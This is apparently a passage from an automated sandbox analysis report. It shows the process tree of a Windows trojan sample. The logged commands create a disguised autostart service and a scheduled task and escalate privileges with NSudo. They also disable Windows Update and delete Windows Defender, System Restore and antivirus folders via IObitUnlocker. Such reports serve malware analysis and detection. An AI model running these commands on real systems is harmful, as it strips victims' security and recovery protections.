                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\oyme2bk5.yhg" --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3028,i,4039308692400085851,6802666906624867412,262144 --variations-seed-version --mojo-platform-channel-handle=3080 /prefetch:1
                                                                  6⤵
                                                                    PID:3132
                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\oyme2bk5.yhg" --instant-process --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3036,i,4039308692400085851,6802666906624867412,262144 --variations-seed-version --mojo-platform-channel-handle=3240 /prefetch:1
                                                                    6⤵
                                                                      PID:1576
                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\oyme2bk5.yhg" --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --field-trial-handle=3536,i,4039308692400085851,6802666906624867412,262144 --variations-seed-version --mojo-platform-channel-handle=3556 /prefetch:1
                                                                      6⤵
                                                                        PID:5852
                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\oyme2bk5.yhg" --extension-process --renderer-sub-type=extension --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --field-trial-handle=3612,i,4039308692400085851,6802666906624867412,262144 --variations-seed-version --mojo-platform-channel-handle=3608 /prefetch:9
                                                                        6⤵
                                                                          PID:6024
                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\oyme2bk5.yhg" --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --field-trial-handle=3640,i,4039308692400085851,6802666906624867412,262144 --variations-seed-version --mojo-platform-channel-handle=3644 /prefetch:1
                                                                          6⤵
                                                                            PID:5600
                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\oyme2bk5.yhg" --extension-process --renderer-sub-type=extension --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --field-trial-handle=3676,i,4039308692400085851,6802666906624867412,262144 --variations-seed-version --mojo-platform-channel-handle=4360 /prefetch:9
                                                                            6⤵
                                                                              PID:3876
                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\oyme2bk5.yhg" --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --field-trial-handle=3692,i,4039308692400085851,6802666906624867412,262144 --variations-seed-version --mojo-platform-channel-handle=4432 /prefetch:1
                                                                              6⤵
                                                                                PID:1492
                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\oyme2bk5.yhg" --extension-process --renderer-sub-type=extension --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --field-trial-handle=3680,i,4039308692400085851,6802666906624867412,262144 --variations-seed-version --mojo-platform-channel-handle=4380 /prefetch:9
                                                                                6⤵
                                                                                  PID:1152
                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\oyme2bk5.yhg" --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --field-trial-handle=3756,i,4039308692400085851,6802666906624867412,262144 --variations-seed-version --mojo-platform-channel-handle=4424 /prefetch:1
                                                                                  6⤵
                                                                                    PID:3000
                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\oyme2bk5.yhg" --extension-process --renderer-sub-type=extension --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --field-trial-handle=3780,i,4039308692400085851,6802666906624867412,262144 --variations-seed-version --mojo-platform-channel-handle=4724 /prefetch:9
                                                                                    6⤵
                                                                                      PID:5492
                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\oyme2bk5.yhg" --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --field-trial-handle=3792,i,4039308692400085851,6802666906624867412,262144 --variations-seed-version --mojo-platform-channel-handle=3664 /prefetch:1
                                                                                      6⤵
                                                                                        PID:5788
                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\oyme2bk5.yhg" --extension-process --renderer-sub-type=extension --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --field-trial-handle=3824,i,4039308692400085851,6802666906624867412,262144 --variations-seed-version --mojo-platform-channel-handle=3016 /prefetch:9
                                                                                        6⤵
                                                                                          PID:5692
                                                                                    • C:\Users\Admin\AppData\Local\Temp\10955960101\QoxOWld.exe
                                                                                      "C:\Users\Admin\AppData\Local\Temp\10955960101\QoxOWld.exe"
                                                                                      4⤵
                                                                                        PID:1968
                                                                                      • C:\Users\Admin\AppData\Local\Temp\10955970101\84hginT.exe
                                                                                        "C:\Users\Admin\AppData\Local\Temp\10955970101\84hginT.exe"
                                                                                        4⤵
                                                                                          PID:2720
                                                                                          • C:\Users\Admin\AppData\Local\PeerDistRepub\WmiPrvSE.exe
                                                                                            C:\Users\Admin\AppData\Local\PeerDistRepub\WmiPrvSE.exe
                                                                                            5⤵
                                                                                              PID:2060
                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                powershell.exe
                                                                                                6⤵
                                                                                                  PID:5620
                                                                                                • C:\Program Files\Google\Chrome\Application\WmiPrvSE.exe
                                                                                                  "C:\Program Files\Google\Chrome\Application\WmiPrvSE.exe" -
                                                                                                  6⤵
                                                                                                    PID:5504
                                                                                            • C:\Windows\SysWOW64\sc.exe
                                                                                              "C:\Windows\System32\sc.exe" create BoVyHPh binPath= "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.Siggen31.59137.8223.21658.exe" start= auto DisplayName= "Time Synchronization"
                                                                                              3⤵
                                                                                              • Launches sc.exe
                                                                                              • System Location Discovery: System Language Discovery
                                                                                              PID:1596
                                                                                            • C:\Windows\SysWOW64\sc.exe
                                                                                              "C:\Windows\System32\sc.exe" start BoVyHPh
                                                                                              3⤵
                                                                                              • Launches sc.exe
                                                                                              • System Location Discovery: System Language Discovery
                                                                                              PID:2500
                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                              "cmd.exe" /c schtasks /create /tn "WindowsLogsHelper" /xml "C:\Users\Admin\AppData\Local\Temp\WindowsLogsHelper.xml" /f
                                                                                              3⤵
                                                                                              • System Location Discovery: System Language Discovery
                                                                                              • Suspicious use of WriteProcessMemory
                                                                                              PID:2320
                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                schtasks /create /tn "WindowsLogsHelper" /xml "C:\Users\Admin\AppData\Local\Temp\WindowsLogsHelper.xml" /f
                                                                                                4⤵
                                                                                                • System Location Discovery: System Language Discovery
                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                PID:3916
                                                                                            • C:\Windows\systemhelper.exe
                                                                                              "C:\Windows\systemhelper.exe"
                                                                                              3⤵
                                                                                              • Executes dropped EXE
                                                                                              • System Location Discovery: System Language Discovery
                                                                                              • Suspicious use of WriteProcessMemory
                                                                                              PID:1912
                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RFHsRSw.bat" "
                                                                                                4⤵
                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                PID:4904
                                                                                                • C:\Users\Admin\AppData\Local\Temp\barer\nircmd.exe
                                                                                                  nircmd win min process "cmd.exe"
                                                                                                  5⤵
                                                                                                  • Executes dropped EXE
                                                                                                  PID:2784
                                                                                                • C:\Windows\SysWOW64\chcp.com
                                                                                                  chcp 65001
                                                                                                  5⤵
                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                  PID:4740
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  reg query "HKU\S-1-5-19"
                                                                                                  5⤵
                                                                                                    PID:2688
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    reg add "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /v "AppsUseLightTheme" /t reg_dword /d 0 /f
                                                                                                    5⤵
                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                    • Modifies data under HKEY_USERS
                                                                                                    PID:4716
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\barer\NSudoLG.exe
                                                                                                    NSudoLG -U:T -P:E -UseCurrentConsole "C:\Users\Admin\AppData\Local\Temp\RFHsRSw.bat" any_word
                                                                                                    5⤵
                                                                                                    • Executes dropped EXE
                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:2012
                                                                                                  • C:\Windows\SysWOW64\mode.com
                                                                                                    Mode 79,49
                                                                                                    5⤵
                                                                                                      PID:2416
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      C:\Windows\system32\cmd.exe /c ver
                                                                                                      5⤵
                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                      PID:4832
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA"
                                                                                                      5⤵
                                                                                                        PID:1384
                                                                                                      • C:\Windows\SysWOW64\find.exe
                                                                                                        find /i "0x0"
                                                                                                        5⤵
                                                                                                          PID:4344
                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                          C:\Windows\system32\cmd.exe /c tasklist
                                                                                                          5⤵
                                                                                                          • Suspicious use of WriteProcessMemory
                                                                                                          PID:1056
                                                                                                          • C:\Windows\SysWOW64\tasklist.exe
                                                                                                            tasklist
                                                                                                            6⤵
                                                                                                            • Enumerates processes with tasklist
                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                            PID:648
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          reg query "HKLM\System\CurrentControlSet\Services\WinDefend"
                                                                                                          5⤵
                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                          PID:2940
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          reg query "HKLM\System\CurrentControlSet\Services\MDCoreSvc"
                                                                                                          5⤵
                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                          PID:4072
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          reg query "HKLM\System\CurrentControlSet\Services\WdNisSvc"
                                                                                                          5⤵
                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                          PID:1660
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          reg query "HKLM\System\CurrentControlSet\Services\Sense"
                                                                                                          5⤵
                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                          PID:972
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          reg query "HKLM\System\CurrentControlSet\Services\wscsvc"
                                                                                                          5⤵
                                                                                                            PID:2332
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            reg query "HKLM\System\CurrentControlSet\Services\SgrmBroker"
                                                                                                            5⤵
                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                            PID:3792
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            reg query "HKLM\System\CurrentControlSet\Services\SecurityHealthService"
                                                                                                            5⤵
                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                            PID:2580
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            reg query "HKLM\System\CurrentControlSet\Services\webthreatdefsvc"
                                                                                                            5⤵
                                                                                                              PID:2380
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              reg query "HKLM\System\CurrentControlSet\Services\webthreatdefusersvc"
                                                                                                              5⤵
                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                              PID:5076
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              reg query "HKLM\System\CurrentControlSet\Services\WdNisDrv"
                                                                                                              5⤵
                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                              PID:4808
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              reg query "HKLM\System\CurrentControlSet\Services\WdBoot"
                                                                                                              5⤵
                                                                                                                PID:844
                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                reg query "HKLM\System\CurrentControlSet\Services\WdFilter"
                                                                                                                5⤵
                                                                                                                  PID:3508
                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                  reg query "HKLM\System\CurrentControlSet\Services\SgrmAgent"
                                                                                                                  5⤵
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  PID:2056
                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                  reg query "HKLM\System\CurrentControlSet\Services\MsSecWfp"
                                                                                                                  5⤵
                                                                                                                    PID:4664
                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                    reg query "HKLM\System\CurrentControlSet\Services\MsSecFlt"
                                                                                                                    5⤵
                                                                                                                      PID:4376
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      reg query "HKLM\System\CurrentControlSet\Services\MsSecCore"
                                                                                                                      5⤵
                                                                                                                        PID:3284
                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /S /D /c" ver "
                                                                                                                        5⤵
                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                        PID:1616
                                                                                                                      • C:\Windows\SysWOW64\findstr.exe
                                                                                                                        findstr /c:"6.1.7601"
                                                                                                                        5⤵
                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                        PID:664
                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                        reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion" /v "ProductName"
                                                                                                                        5⤵
                                                                                                                          PID:5084
                                                                                                                        • C:\Windows\SysWOW64\find.exe
                                                                                                                          find /i "Windows 7"
                                                                                                                          5⤵
                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                          PID:1524
                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                          reg query HKLM\System\CurrentControlset\Services\WdFilter
                                                                                                                          5⤵
                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                          • Modifies registry key
                                                                                                                          PID:2116
                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\barer\7z.exe
                                                                                                                          7z x -aoa -bso0 -bsp1 "land.zip" -p"hueras" "game.exe"
                                                                                                                          5⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                          PID:1196
                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\barer\game.exe
                                                                                                                          game.exe /CurrentDiskSize
                                                                                                                          5⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          PID:2428
                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                            "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
                                                                                                                            6⤵
                                                                                                                              PID:2596
                                                                                                                              • C:\Windows\system32\sc.exe
                                                                                                                                sc query IObitUnlocker
                                                                                                                                7⤵
                                                                                                                                • Launches sc.exe
                                                                                                                                PID:2484
                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                              "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "2428"
                                                                                                                              6⤵
                                                                                                                                PID:4008
                                                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                                                  taskkill /f /pid "2428"
                                                                                                                                  7⤵
                                                                                                                                  • Kills process with taskkill
                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                  PID:4716
                                                                                                                            • C:\Windows\SysWOW64\sc.exe
                                                                                                                              sc stop wuauserv
                                                                                                                              5⤵
                                                                                                                              • Launches sc.exe
                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                              PID:4712
                                                                                                                            • C:\Windows\SysWOW64\sc.exe
                                                                                                                              sc config wuauserv start= disabled
                                                                                                                              5⤵
                                                                                                                              • Launches sc.exe
                                                                                                                              PID:2860
                                                                                                                            • C:\Windows\SysWOW64\sc.exe
                                                                                                                              sc stop dosvc
                                                                                                                              5⤵
                                                                                                                              • Launches sc.exe
                                                                                                                              PID:1640
                                                                                                                            • C:\Windows\SysWOW64\sc.exe
                                                                                                                              sc config dosvc start= disabled
                                                                                                                              5⤵
                                                                                                                              • Launches sc.exe
                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                              PID:2416
                                                                                                                            • C:\Windows\SysWOW64\sc.exe
                                                                                                                              sc stop bits
                                                                                                                              5⤵
                                                                                                                              • Launches sc.exe
                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                              PID:2924
                                                                                                                            • C:\Windows\SysWOW64\sc.exe
                                                                                                                              sc config bits start= disabled
                                                                                                                              5⤵
                                                                                                                              • Launches sc.exe
                                                                                                                              PID:1968
                                                                                                                            • C:\Windows\SysWOW64\sc.exe
                                                                                                                              sc stop UsoSvc
                                                                                                                              5⤵
                                                                                                                              • Launches sc.exe
                                                                                                                              PID:4292
                                                                                                                            • C:\Windows\SysWOW64\sc.exe
                                                                                                                              sc config UsoSvc start= disabled
                                                                                                                              5⤵
                                                                                                                              • Launches sc.exe
                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                              PID:1104
                                                                                                                            • C:\Windows\SysWOW64\sc.exe
                                                                                                                              sc stop WaaSMedicSvc
                                                                                                                              5⤵
                                                                                                                              • Launches sc.exe
                                                                                                                              PID:4600
                                                                                                                            • C:\Windows\SysWOW64\sc.exe
                                                                                                                              sc config WaaSMedicSvc start= disabled
                                                                                                                              5⤵
                                                                                                                              • Launches sc.exe
                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                              PID:4424
                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                              reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
                                                                                                                              5⤵
                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                              PID:1532
                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                              reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate" /v DisableWindowsUpdateAccess /t REG_DWORD /d 1 /f
                                                                                                                              5⤵
                                                                                                                                PID:1908
                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v "Start" /t REG_DWORD /d 4 /f
                                                                                                                                5⤵
                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                PID:1192
                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                reg load HKLM\TEMP_SYSTEM C:\Windows\System32\config\SYSTEM
                                                                                                                                5⤵
                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                PID:5008
                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\wuauserv" /v Start /t REG_DWORD /d 4 /f
                                                                                                                                5⤵
                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                PID:2876
                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\UsoSvc" /v Start /t REG_DWORD /d 4 /f
                                                                                                                                5⤵
                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                PID:2940
                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
                                                                                                                                5⤵
                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                PID:1744
                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                reg unload HKLM\TEMP_SYSTEM
                                                                                                                                5⤵
                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                PID:3868
                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\barer\game.exe
                                                                                                                                game /delwd
                                                                                                                                5⤵
                                                                                                                                • Sets service image path in registry
                                                                                                                                • Executes dropped EXE
                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                PID:5024
                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                  "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
                                                                                                                                  6⤵
                                                                                                                                    PID:3508
                                                                                                                                    • C:\Windows\system32\sc.exe
                                                                                                                                      sc query IObitUnlocker
                                                                                                                                      7⤵
                                                                                                                                      • Launches sc.exe
                                                                                                                                      PID:2964
                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                    "C:\Windows\System32\cmd.exe" /c sc stop IObitUnlocker & sc delete IObitUnlocker
                                                                                                                                    6⤵
                                                                                                                                      PID:3040
                                                                                                                                      • C:\Windows\system32\sc.exe
                                                                                                                                        sc stop IObitUnlocker
                                                                                                                                        7⤵
                                                                                                                                        • Launches sc.exe
                                                                                                                                        PID:1524
                                                                                                                                      • C:\Windows\system32\sc.exe
                                                                                                                                        sc delete IObitUnlocker
                                                                                                                                        7⤵
                                                                                                                                        • Launches sc.exe
                                                                                                                                        PID:664
                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                      "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "5024"
                                                                                                                                      6⤵
                                                                                                                                        PID:2188
                                                                                                                                        • C:\Windows\system32\taskkill.exe
                                                                                                                                          taskkill /f /pid "5024"
                                                                                                                                          7⤵
                                                                                                                                          • Kills process with taskkill
                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                          PID:2744
                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\barer\game.exe
                                                                                                                                      game /DelWD
                                                                                                                                      5⤵
                                                                                                                                      • Sets service image path in registry
                                                                                                                                      • Executes dropped EXE
                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                      PID:4456
                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                        "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
                                                                                                                                        6⤵
                                                                                                                                          PID:3212
                                                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                                                            sc query IObitUnlocker
                                                                                                                                            7⤵
                                                                                                                                            • Launches sc.exe
                                                                                                                                            PID:4244
                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program 